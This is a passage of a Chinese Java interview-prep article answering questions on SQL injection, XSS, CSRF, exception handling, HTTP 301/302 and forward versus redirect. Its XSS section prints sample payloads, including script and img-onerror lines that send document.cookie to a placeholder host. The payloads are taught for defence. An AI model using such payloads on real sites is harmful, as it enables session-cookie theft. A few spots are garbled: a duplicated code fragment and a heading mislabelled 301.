208道Java面试题
文章目录
-
[**71. 如何避免 SQL 注入?**](#71. 如何避免 SQL 注入?)
-
[**72. 什么是 XSS 攻击,如何避免?**](#72. 什么是 XSS 攻击,如何避免?)
-
[**73. 什么是 CSRF 攻击,如何避免?**](#73. 什么是 CSRF 攻击,如何避免?)
-
[**74. throw 和 throws 的区别?**](#74. throw 和 throws 的区别?)
-
[**75. final、finally、finalize 有什么区别?**](#75. final、finally、finalize 有什么区别?)
-
[**76. try-catch-finally 中哪个部分可以省略?**](#76. try-catch-finally 中哪个部分可以省略?)
-
[**77. try-catch-finally 中,如果 catch 中 return 了,finally 还会执行吗?**](#77. try-catch-finally 中,如果 catch 中 return 了,finally 还会执行吗?)
-
[**78. 常见的异常类有哪些?**](#78. 常见的异常类有哪些?)
-
[**79. http 响应码 301 和 302 代表的是什么?有什么区别?**](#79. http 响应码 301 和 302 代表的是什么?有什么区别?)
-
[**80. forward 和 redirect 的区别?**](#80. forward 和 redirect 的区别?)
71. 如何避免 SQL 注入?
Java中的SQL注入是一种常见的网络攻击技术,攻击者通过在应用程序的输入字段中输入恶意的SQL代码,来破坏或操纵后端数据库的行为。这种攻击可以导致数据泄露、数据损坏甚至整个应用程序的崩溃。
SQL注入的原理
SQL注入通常发生在应用程序将用户输入直接拼接到SQL查询语句中时,而没有对输入进行适当的验证或转义。例如,一个应用程序可能允许用户通过输入字段来指定查询条件,如果这个输入没有被适当地处理,那么用户输入的恶意SQL代码就会被执行。
防止SQL注入的措施
1、使用预处理语句(Prepare Statements)
- 预处理语句确保所有的输入都会被当作数据处理,而不是SQL代码的一部分。使用PreparedStatement类,可以提前编译SQL语句,并使用参数占用符?来代表输入的变量。无论用户输入什么数据,都会被当作字符串处理,而不是SQL语句。
java
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.SQLException;
public class SqlInjectionExample {
public void searchById(Connection connection, int id) throws SQLException {
String query = "SELECT * FROM users WHERE id = ?";
PreparedStatement preparedStatement = connection.prepareStatement(query);
preparedStatement.setInt(1, id);
ResultSet resultSet = preparedStatement.executeQuery();
// 处理结果集
}
}
2、输入验证
- 在将用户输入内容应用于SQL查询之前,对输入进行验证,确保它们符合预期的格式。可以使用正则表达式或其他验证机制来实现。
3、使用ORM框架
- Object-Relatinal Mapping(ORM)框架如HIbernate,JPA等提供了内置的防止SQL注入的机制。它们使用映射规则将Java对象与数据库表相关联,并自动生成安全的SQL查询。
4、参数化查询
- 参数化查询是一种将数据作为参数传递给SQL语句的方法,而不是直接将它们嵌入到语句中。这可以确保用户输入不会被解释为SQL代码。
5、限制数据库权限
- 确保应用程序的数据库账户只有必要的权限,这样即使发生SQL注入,攻击者也不能执行DROP TABLE或其他破坏性操作。
6、使用Web应用防火墙(WAF)
- Web应用防火墙可以检测和阻止SQL注入攻击。它们通常具有预配置的规则,可以识别和过滤恶意输入。
7、安全编码实践
- 遵循安全编码实践,使用专业的代码审计工具来检测潜在的安全漏洞。
72. 什么是 XSS 攻击,如何避免?
XSS攻击,就是跨站脚本攻击(Cross Site Scripting),是Web程序中常见的漏洞。
XSS攻击原理
在web页面里插入恶意的 HTML 代码(Javascript、css、html 标签等),当用户浏览该页面时,嵌入其中的 HTML 代码会被执行,从而达到恶意攻击用户的目的。如盗取用户 cookie 执行一系列操作,破坏页面结构、重定向到其他网站等。
XSS攻击的类型
1、DOM Bassed XSS:基于网页DOM结构的攻击。
例子:
- input标签 Value 属性赋值。
java
//jsp
<input type="text" value="<%= getParameter("content") %>">
访问
java
http://xxx.xxx.xxx/search?content=<script>alert('XSS');</script> //弹出 XSS 字样
http://xxx.xxx.xxx/search?content=<script>window.open("xxx.aaa.xxx?param="+document.cookie)</script> //把当前页面的 cookie 发送到 xxxx.aaa.xxx 网站
- 利用a标签的href属性的赋值。
java
//jsp
<a href="escape(<%= getParameter("newUrl") %>)">跳转...</a>
访问
java
http://xxx.xxx.xxx?newUrl=javascript:alert('XSS') //点击 a 标签就会弹出 XSS 字样
变换大小写
http://xxx.xxx.xxx?newUrl=JAvaScript:alert('XSS') //点击 a 标签就会弹出 XSS 字样
加空格
http://xxx.xxx.xxx?newUrl= JavaScript :alert('XSS') //点击 a 标签就会弹出 XSS 字样
- image 标签src属性,onload,onerror,onclick事件中注入恶意代码。
java
<img src='xxx.xxx' onerror='javascript:window.open("http://aaa.xxx?param="+document.cookie)' />
2、Stored XSS:存储式XSS漏洞。
java
<form action="save.do">
<input name="content" value="">
</form>
输入 ,提交
当别人访问到这个页面时,就会把页面的 cookie 提交到 xxx.aaa.xxx,攻击者就可以获取到 cookie。
预防思路
-
web页面中可由用户输入的地方,对输入的数据转义,过滤处理。
-
后台输出页面的时候,也需要对输出内容进行转义、过滤处理(因为攻击者可能通过其他方式把恶意脚本写入数据库)。
-
前端对 html 标签属性、css 属性赋值的地方进行校验。
73. 什么是 CSRF 攻击,如何避免?
CSRF(Cross-Site Request Forgery),跨站请求伪造。也被称为one-click attack或session riding,是一种网络攻击方式。它利用用户在当前已登录的Web应用程序上执行非本意的操作,攻击者通过盗用用户的登录信息,以用户的身份模拟发送各种请求。这些请求对服务器来说是合法的,但实际上是完成了攻击者所期望的操作。
CSRF攻击原理
-
用户打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A。
-
在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站成功,可以正常发送请求到网站。
-
用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B(攻击者构建的恶意网站)。
-
网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A。
-
浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
避免CSRF攻击的方法
1、验证HTTP Referer字段
- Referer是HTTP请求头中的一个字段,记录了该HTTP请求的来源地址。通过验证Referer字段,可以确保请求确实是从合法来源发出的。然而,需要注意的是,Referer字段可以被伪造或禁用 ,因此这种方法并不是完全可靠的。
2、使用Same Site Cookie
- SameSite是Cookie的一个属性,用于限制Cookie的跨站访问。通过设置SameSite属性为Strict或Lax,可以限制Cookie在跨站请求时的发送。这种方法可以有效降低CSRF攻击的风险,但需要注意的是,部分较老的浏览器可能不支持SameSite属性。
3、在HTTP头中定义自定义属性并验证
- 在HTTP请求中自定义属性(如Test)并进行验证。服务器在生成响应时,可以包含一个随机生成的Token,并在后续的请求中要求客户端携带该Token。服务器在收到请求后,会验证Token的有效性,以确保请求是由合法用户发出的。
4、使用CSRF Token令牌
- CSRF Token是一种更为常见的防御方法。服务器在生成页面时,会嵌入一个随机生成的Token,并在表单提交时要求客户端携带该Token。服务器在收到请求后,会验证Token的有效性,如果Token不匹配或不存在,则拒绝请求。这种方法可以有效防止CSRF攻击,因为攻击者无法伪造有效的Token。
5、限制GET请求的使用
- GET请求通常用于数据检索,不应该用于修改服务器上的数据。因此,应该限制GET请求的使用范围,并确保所有可能修改数据的操作都使用POST或其他安全的HTTP方法。
6、使用HTTPS
- 虽然HTTPS本身并不能直接防止CSRF攻击,但它可以提供更安全的通信环境,减少中间人攻击的风险,从而间接提高Web应用程序的安全性。
7、同源策略
- 现代浏览器实施了同源策略,限制了不同源(域名、协议、端口)之间的交互。确保关键操作只能在同一域名下进行,可以有效防止CSRF攻击。
8、使用验证码
- 对于敏感操作,可以要求用户数额u验证码进行验证。增加了攻击者伪造合法请求的难度,从而提高了系统程序的安全性。
9、设置短期有效的Cookie
- 将用户的身份验证信息存储在短期有效的Cookie中,这样即使Cookie被盗用,有效期也相对较短,减少了被盗用的风险。
10、防御点击劫持
- 通过在响应头中添加X-Frame-Options,限制页面的嵌入方式。这样可以防止攻击者通过点击劫持等手段诱导用户执行非授权操作。
74. throw 和 throws 的区别?
1、用法区别
throw
-
作用 :throw是一个关键字,用于在方法体内部抛出一个具体的异常对象。当程序执行到
throw
语句时,会立即停止当前方法的执行,并将控制权交给该方法的调用者,同时传递异常对象。 -
作用域:throw只能用在方法体内,可以作为独立的语句使用。
-
实例:throw new IllegalArgumentException("参数不合法");
throws
-
作用 :
throws
是一个关键字,用于在方法声明时声明该方法可能会抛出的异常类型。它并不创建异常对象,而是告诉方法的调用者该方法可能会抛出哪些类型的异常,调用者需要对此进行处理(通过try-catch
语句或继续向上抛出)。 -
作用域 :
throws
必须跟在方法参数列表之后,方法体之前,且不能单独使用。 -
实例:public void readFile(String fileName) throws FileNotFoundException{方法体}
2、语义区别
throw
- 表示一个具体的动作,就是抛出一个异常对象。执行到throw语句时,会立即终止当前方法的执行流程。
throws
- 表示一种可能。表示该方法在执行过程中可能会遇到某些类型的异常,但并不一定会抛出这些异常。它是一种声明机制,用于告知方法的调用者需要处理哪些可能的异常。
3、异常处理上的区别
throw
-
抛出的是具体的异常对象,因此可以包含异常的具体信息(如错误消息、堆栈跟踪等)。
-
抛出异常后,通常需要在调用者处使用
try-catch
语句进行捕获和处理,或者继续向上抛出。
throws
-
声明的是异常类型,而不是具体的异常对象。
-
调用者需要对声明的异常类型进行处理,可以通过
try-catch
语句捕获并处理,或者通过throws
继续向上声明。
4、使用场景
throw
- 当方法内部发生了某个具体的错误,且该错误无法通过当前方法内部的逻辑进行恢复时,可以使用
throw
抛出异常,让调用者知道发生了什么问题。
throws
- 当方法可能会因为某些外部因素(如文件不存在、网络错误等)而失败时,可以使用
throws
声明这些可能的异常,以便调用者能够提前了解并准备相应的处理逻辑。
5、注意事项
-
throws可以声明多个异常类型,异常类型之间用逗号分隔。
-
throw
抛出的异常对象必须是Throwable
或其子类的实例。 -
在使用
throws
声明异常时,应该尽量声明具体的异常类型,而不是笼统地声明为Exception
或Throwable
,这有助于调用者更准确地了解异常的性质和处理方式。
75. final、finally、finalize 有什么区别?
性质区别
-
final:关键字。
-
finalize():方法。
-
finally:区块标志,用于try语句中。
作用区别
-
final:用于标识常量的关键字,final标识的关键字存储在常量池中。
-
finalize():finalize()方法在Object中进行了定义,用于在对象"消失"时,由JVM进行调用用于对对象 进行垃圾回收。
-
finally{}:用于标识代码块,与try{ }进行配合,不论try中的代码执行完或没有执行完(这里指有异常),该代码块之中的程序必定会进行 .
final的用法
-
被final修饰的类不可以被继承。
-
被final修饰的方法不能被重写。
-
被final修饰的变量不能呗改变。如果修饰引用,那么表示引用不可变,引用指向的内容可变。
-
被final显示的方法VM会尝试将其内联,以提高运行效率被final修饰的常量,在编译阶段会存入常量池中。
finally的用法
-
在异常处理中的使用的,不管 try 语句块正常结束还是异常结束,finally 语句块是保证要执行的。
-
如果 try 语句块正常结束,那么在 try 语句块中的语句都执行完之后,再执行 finally 语句块。
-
当try和catch中有return时,finally仍然会执行; finally是在return后面的表达式运算后执行的。
finalize的用法
finalize() 是Java中Object的一个protected方法.返回值为空,当该对象被垃圾回收器回收时,会调用该方法。
finalize()函数
-
finalize不等价于c++中的析构函数。
-
对象可能不被垃圾回收器回收。
-
垃圾回收不等于析构。
-
垃圾回收只与内存有关。
-
垃圾回收和finalize()都是靠不住的,只要JVM还没有快到耗尽内存的地步,它是不会浪费时间进行垃圾回收的。
-
程序强制终结后,那些失去引用的对象将会被垃圾回收.(System.gc())。
76. try-catch-finally 中哪个部分可以省略?
try必须和catch或finally中连用一个。
try-catch
java
public class TryCatchExample {
public static void main(String[] args) {
try {
// 尝试执行的代码块
int result = 10 / 0; // 这将引发一个ArithmeticException,因为不能除以零
System.out.println("结果是: " + result);
} catch (ArithmeticException e) {
// 当try块中的代码引发ArithmeticException时执行的代码块
System.out.println("捕获到异常: 不能除以零");
// 可以在这里处理异常,比如记录日志、给用户显示错误信息等
}
// 这里的代码将继续执行,即使try块中发生了异常并且被catch块捕获
System.out.println("程序继续执行...");
}
}
try-finally
java
public class TryFinallyExample {
public static void main(String[] args) {
FileInputStream fileInput = null;
try {
// 尝试打开文件并读取数据
fileInput = new FileInputStream("example.txt");
int data = fileInput.read();
while(data != -1) {
System.out.print((char) data);
data = fileInput.read();
}
} finally {
// 无论是否发生异常,都会执行finally块中的代码
if (fileInput != null) {
try {
fileInput.close(); // 关闭文件输入流
} catch (IOException e) {
// 处理关闭文件时的异常
System.out.println("关闭文件时发生错误: " + e.getMessage());
}
}
System.out.println("文件操作完成,资源已释放。");
}
}
}
try-catch-finally
java
public class TryCatchFinallyExample {
public static void main(String[] args) {
FileReader fileReader = null;
try {
// 尝试打开文件
fileReader = new FileReader("example.txt");
int data;
while ((data = fileReader.read()) != -1) {
// 读取文件内容并打印到控制台
System.out.print((char) data);
}
} catch (FileNotFoundException e) {
// 捕获并处理文件未找到异常
System.out.println("文件未找到: " + e.getMessage());
} catch (IOException e) {
// 捕获并处理其他I/O异常
System.out.println("读取文件时发生错误: " + e.getMessage());
} finally {
// 无论是否发生异常,都会执行finally块中的代码
if (fileReader != null) {
try {
fileReader.close(); // 关闭文件读取器以释放资源
} catch (IOException e) {
// 处理关闭文件时的异常
System.out.println("关闭文件时发生错误: " + e.getMessage());
// 注意:在实际应用中,通常不建议在finally块中抛出或重新抛出异常,
// 因为这可能会隐藏原始异常信息。这里仅为了演示如何处理关闭时的异常。
}
}
System.out.println("文件操作完成,资源已释放(或尝试释放)。");
}
}
}
77. try-catch-finally 中,如果 catch 中 return 了,finally 还会执行吗?
是的。即使catch块中执行了return语句,finally块仍然会执行。
finally块是异常处理的最后阶段,它通常用于清理资源,比如关闭文件流、释放锁或者关闭数据库连接等。无论是否发生异常,无论 try
块还是 catch
块中的代码是否正常执行或者提前退出(通过 return
语句实现退出),finally
块总是会执行。
例子
java
public class FinallyExample {
public static void main(String[] args) {
try {
// 可能会抛出异常的代码
System.out.println("In try block");
throw new Exception("Exception in try block");
} catch (Exception e) {
// 处理异常的代码
System.out.println("In catch block");
return; // 即使这里返回,finally块仍然会执行
} finally {
// 无论是否发生异常都会执行的代码
System.out.println("In finally block");
}
}
}
注意:
在这个例子中,即使catch使用了return语句,控制台仍然会输出"In finally block"。
但是如果在finally中使用了return语句。则finally中的return语句会覆盖try和catch块中的return。这意味着,最终方法返回的是finally块中的返回值。
*
78. 常见的异常类有哪些?
常见的编译时异常
-
SQLException:提供有关数据库访问错误或其他错误的信息的异常。如:SQL语句错误,无表等。
-
IOexception:表示发生了某种I / O异常的信号。此类是由失败或中断的I / O操作产生的一般异常类。
-
FileNotFoundException:当试图打开指定路径名表示的文件失败时,抛出此异常。(IOexception的子类)。这里的找不到是在你的编译结果文件夹里面找不到,而不是在你的工程里面找不到。
-
ClassNotFoundException:找不到具有指定名称的类的定义。
-
EOFException:当输入过程中意外到达文件或流的末尾时,抛出此异常。(IOexception的子类)。
常见的运行时异常
-
StringIndexOutOfBoundsException :指示某排序索引(例如对数组、字符串或向量的排序)超出范围时抛出。
-
ArrayIndexOutOfBoundsException :用非法索引访问数组时抛出的异常。如果索引为负或大于等于数组大小,则该索引为非法索引。
-
ArithmeticException :当出现异常的运算条件时,抛出此异常。如:除以零
-
IllegaArguementException :抛出的异常表明向方法传递了一个不合法或不正确的参数。
-
NullPointerException:当应用程序试图在需要对象的地方使用 null 时,抛出该异常。
79. http 响应码 301 和 302 代表的是什么?有什么区别?
HTTP响应301和302是用于进行HTTP重定向的状态码。
HTTP 301 Moved Permanently(永久重定向)
-
当服务器返回HTTP 301状态码时,表示请求的资源已经被永久移动到新的位置。
-
客户端在接收到这个响应后,应该更新所有引用该资源的链接。搜索引擎也会把链接权重从原始 URL 转移到新的 URL。
Http 302 Found(临时重定向)
-
当服务器返回HTTP 302状态码时,表示请求的资源临时被移动到新的位置。
-
客户端在接收到这个响应后,通常应该使用新的 URL 进行后续的请求。搜索引擎在处理这种情况时不会更新链接的权重。
区别
永久重定向(301)
-
表示请求的资源已经永久移动到新的位置。
-
客户端在接收到 301 后,应该更新所有引用该资源的链接。
-
浏览器会缓存这个重定向,之后直接访问原始 URL 时会自动跳转到新的 URL。
临时重定向(301)
-
表示请求的资源临时被移动到新的位置。
-
客户端在接收到 302 后,通常应该使用新的 URL 进行后续的请求。
-
浏览器不会缓存这个重定向,之后访问原始 URL 时仍会请求原始位置。
代码举例说明
java
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.http.HttpStatus;
@Controller
public class RedirectController {
@GetMapping("/redirect301")
@ResponseStatus(HttpStatus.MOVED_PERMANENTLY)
public String redirect301() {
return "redirect:/new-url";
}
@GetMapping("/redirect302")
@ResponseStatus(HttpStatus.FOUND)
public String redirect302() {
return "redirect:/new-url";
}
}
tatus.FOUND)
public String redirect302() {
return "redirect:/new-url";
}
}
``
redirect301方法返回 HTTP 301,而 redirect302方法返回 HTTP 302。这些方法使用了 Spring 的注解 @ResponseStatus来指定返回的 HTTP 状态码。
80. forward 和 redirect 的区别?
forward和redirect
forward
- forward又叫转发,表示转发。当请求到来时,可以将请求转发到其他的指定服务,用户端不知道。
redirect
- redirect表示转发,当请求发给A服务时,服务A返回重定向给客户端,客户端再去请求B服务。
forward使用注意
-
转发和被转发的请求类型必须一致,即全是GET或者POST。
-
转发者方法不能被标识位@RestController或者@ResponseBody。
redirect使用注意
-
redirect不支持post请求.
-
redirect需要携带请求参数,需要在url地址中进行编码防止中文乱码。
forward、redirect区别
1、地址栏
-
forword是服务器内部的重定向,服务器直接访问目标地址的 url网址,把里面的东西读取出来,但是客户端并不知道,因此用forward的话,客户端浏览器的网址是不会发生变化的。
-
redirect是服务器根据逻辑,发送一个状态码,告诉浏览器重新去请求那个地址,所以地址栏显示的是新的地址。
2、数据分享
-
由于在整个定向的过程中用的是同一个request,因此forward会将request的信息带到被重定向的jsp或者 servlet中使用。即可以共享数据。
-
redirect不能共享数据。
3、使用场景
-
forword 一般用于用户登录的时候,根据角色转发到相应的模块。
-
redirect一般用于用户注销登录时返回主页面或者跳转到 其他网站。
4、效率
-
forward效率较高。
-
redirect效率较低。
5、本质
-
forward:转发时服务器上的行为。
-
redirect:重定向时客户端的行为。
6、请求次数
-
forward:一次。
-
redirect:两次。